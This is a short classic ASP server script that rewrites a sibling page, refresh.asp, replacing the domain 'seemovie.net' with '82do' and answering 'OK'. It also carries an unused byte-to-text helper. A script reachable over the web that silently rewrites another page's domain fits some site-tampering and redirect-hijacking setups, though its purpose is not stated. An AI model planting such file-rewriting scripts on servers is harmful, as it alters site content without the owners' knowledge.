<%
Dim objFSO,fname
fname = Server.MapPath("refresh.asp")
Set fso=CreateObject("Scripting.FileSystemObject")
Set objCountFile = fso.OpenTextFile(fname,1,True)
source=objCountFile.readall
source=replace(source,"seemovie.net","82do")
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile(fname,True)
objCountFile.Write source
set fso=nothing
set objCountFile=nothing
set objFSO=nothing
Response.Write "OK"
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
%>